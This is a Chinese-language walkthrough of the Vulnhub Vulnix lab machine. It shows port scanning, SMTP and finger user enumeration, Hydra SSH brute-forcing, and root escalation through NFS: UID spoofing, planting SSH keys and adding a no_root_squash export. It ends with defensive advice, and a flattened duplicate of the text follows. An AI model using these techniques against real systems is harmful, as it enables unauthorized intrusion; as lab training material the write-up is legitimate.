[Vulnhub]Vulnix 通过NFS挂载+SSH公钥免密登录权限提升
字数 1226 2025-08-19 12:41:46

Vulnhub Vulnix 靶机渗透测试教学文档

1. 靶机信息

  • 靶机名称: Vulnix
  • IP地址: 192.168.8.103
  • 操作系统: Ubuntu Linux (基于OpenSSH版本信息判断)
  • 难度等级: 中等

2. 初始信息收集

2.1 端口扫描

使用Nmap进行全端口扫描:

nmap -p- 192.168.8.103 -sV -sC --min-rate 1000

扫描结果:

PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 5.9p1 Debian 5ubuntu1
25/tcp    open  smtp        Postfix smtpd
79/tcp    open  finger      Linux fingerd
110/tcp   open  pop3        Dovecot pop3d
111/tcp   open  rpcbind     2-4 (RPC #100000)
143/tcp   open  imap        Dovecot imapd
512/tcp   open  exec?
513/tcp   open  login?
514/tcp   open  tcpwrapped
993/tcp   open  ssl/imap    Dovecot imapd
995/tcp   open  ssl/pop3    Dovecot pop3d
2049/tcp  open  nfs         2-4 (RPC #100003)
37522/tcp open  nlockmgr    1-4 (RPC #100021)
42172/tcp open  mountd      1-3 (RPC #100005)
43219/tcp open  mountd      1-3 (RPC #100005)
47279/tcp open  mountd      1-3 (RPC #100005)
54227/tcp open  status      1 (RPC #100024)

2.2 服务分析

重点关注服务:

  1. SSH (22/tcp): 可能通过暴力破解或密钥方式利用
  2. SMTP (25/tcp): 可用于枚举用户
  3. Finger (79/tcp): 可用于获取用户信息
  4. NFS (2049/tcp): 可能存在共享目录可挂载
  5. RPC相关服务: 提供NFS服务信息

3. 用户枚举

3.1 SMTP用户枚举

使用Hydra进行SMTP用户枚举:

hydra -L /usr/share/seclists/Usernames/Names/names.txt -s 25 192.168.8.103 smtp-enum

发现有效用户:

bin irc mail nab root sys user

3.2 Finger服务利用

使用finger命令验证用户:

xargs -a username -I {} finger {}@192.168.8.103

结果分析:

  • user用户存在,使用/bin/bash作为shell
  • 其他用户大多使用/bin/sh/bin/false

4. SSH暴力破解

针对user用户进行SSH暴力破解:

hydra -l user -P /usr/share/wordlists/rockyou.txt ssh://192.168.8.103

成功获取凭证:

[22][ssh] host: 192.168.8.103 login: user password: letmein

5. 权限提升路径1: NFS挂载

5.1 检查NFS共享

showmount --exports 192.168.8.103

输出:

/home/vulnix *

5.2 本地准备

  1. 创建挂载点:
sudo mkdir /mnt/vulnix
  1. 创建匹配用户(UID必须匹配):
sudo adduser -u 2008 vulnix

设置密码: 123

5.3 挂载远程目录

sudo mount 192.168.8.103:/home/vulnix /mnt/vulnix -o vers=3

5.4 设置SSH免密登录

  1. 切换到vulnix用户:
su vulnix
  1. 生成SSH密钥:
mkdir /mnt/vulnix/.ssh
ssh-keygen -t ssh-rsa
  1. 复制公钥到目标:
cp ~/.ssh/id_rsa.pub /mnt/vulnix/.ssh/authorized_keys

5.5 通过SSH登录

ssh -o 'PubkeyAcceptedKeyTypes +ssh-rsa' -i ~/.ssh/id_rsa vulnix@192.168.8.103

6. 权限提升路径2: Root权限获取

6.1 检查sudo权限

sudo -l

发现可以使用sudoedit编辑/etc/exports文件

6.2 修改NFS配置

  1. 编辑/etc/exports:
sudoedit /etc/exports

添加:

/root *(rw,no_root_squash)

no_root_squash选项允许远程root用户保持root权限

  1. 重启服务使配置生效

6.3 挂载root目录

  1. 检查新的共享:
showmount -e 192.168.8.103
  1. 创建挂载点:
sudo mkdir /mnt/vulnroot
  1. 挂载root目录:
sudo mount 192.168.8.103:/root /mnt/vulnroot -o vers=3

6.4 获取root访问

  1. 生成root SSH密钥:
sudo ssh-keygen -t ssh-rsa
  1. 设置SSH免密登录:
sudo mkdir /mnt/vulnroot/.ssh
sudo cp /root/.ssh/id_rsa.pub /mnt/vulnroot/.ssh/authorized_keys
  1. 通过SSH以root身份登录:
sudo ssh -o 'PubkeyAcceptedKeyTypes +ssh-rsa' -i /root/.ssh/id_rsa root@192.168.8.103

7. 获取Flag

在root目录下找到trophy.txt:

cat /mnt/vulnroot/trophy.txt

内容:

cc614640424f5bd60ce5d5264899c3be

8. 关键知识点总结

  1. 服务枚举: 全面的端口扫描和服务识别是渗透测试的基础
  2. 用户枚举: 通过SMTP和Finger服务获取有效用户列表
  3. 暴力破解: 针对弱密码进行SSH暴力破解
  4. NFS利用:
    • 检查可挂载共享目录
    • 创建匹配UID的本地用户
    • 挂载远程目录
    • 通过SSH密钥实现权限提升
  5. 权限提升:
    • 利用sudoedit修改关键配置文件
    • 通过NFS的no_root_squash选项获取root权限
    • 挂载root目录并设置SSH免密登录

9. 防御建议

  1. 禁用不必要的服务(Finger, NFS等)
  2. 使用强密码策略
  3. 限制sudo权限
  4. 对NFS共享设置严格权限控制
  5. 避免使用no_root_squash选项
  6. 定期更新系统和软件
Vulnhub Vulnix 靶机渗透测试教学文档 1. 靶机信息 靶机名称: Vulnix IP地址: 192.168.8.103 操作系统: Ubuntu Linux (基于OpenSSH版本信息判断) 难度等级: 中等 2. 初始信息收集 2.1 端口扫描 使用Nmap进行全端口扫描: 扫描结果: 2.2 服务分析 重点关注服务: SSH (22/tcp) : 可能通过暴力破解或密钥方式利用 SMTP (25/tcp) : 可用于枚举用户 Finger (79/tcp) : 可用于获取用户信息 NFS (2049/tcp) : 可能存在共享目录可挂载 RPC相关服务 : 提供NFS服务信息 3. 用户枚举 3.1 SMTP用户枚举 使用Hydra进行SMTP用户枚举: 发现有效用户: 3.2 Finger服务利用 使用finger命令验证用户: 结果分析: user 用户存在,使用 /bin/bash 作为shell 其他用户大多使用 /bin/sh 或 /bin/false 4. SSH暴力破解 针对 user 用户进行SSH暴力破解: 成功获取凭证: 5. 权限提升路径1: NFS挂载 5.1 检查NFS共享 输出: 5.2 本地准备 创建挂载点: 创建匹配用户(UID必须匹配): 设置密码: 123 5.3 挂载远程目录 5.4 设置SSH免密登录 切换到vulnix用户: 生成SSH密钥: 复制公钥到目标: 5.5 通过SSH登录 6. 权限提升路径2: Root权限获取 6.1 检查sudo权限 发现可以使用 sudoedit 编辑 /etc/exports 文件 6.2 修改NFS配置 编辑/etc/exports: 添加: no_root_squash 选项允许远程root用户保持root权限 重启服务使配置生效 6.3 挂载root目录 检查新的共享: 创建挂载点: 挂载root目录: 6.4 获取root访问 生成root SSH密钥: 设置SSH免密登录: 通过SSH以root身份登录: 7. 获取Flag 在root目录下找到trophy.txt: 内容: 8. 关键知识点总结 服务枚举 : 全面的端口扫描和服务识别是渗透测试的基础 用户枚举 : 通过SMTP和Finger服务获取有效用户列表 暴力破解 : 针对弱密码进行SSH暴力破解 NFS利用 : 检查可挂载共享目录 创建匹配UID的本地用户 挂载远程目录 通过SSH密钥实现权限提升 权限提升 : 利用sudoedit修改关键配置文件 通过NFS的no_ root_ squash选项获取root权限 挂载root目录并设置SSH免密登录 9. 防御建议 禁用不必要的服务(Finger, NFS等) 使用强密码策略 限制sudo权限 对NFS共享设置严格权限控制 避免使用no_ root_ squash选项 定期更新系统和软件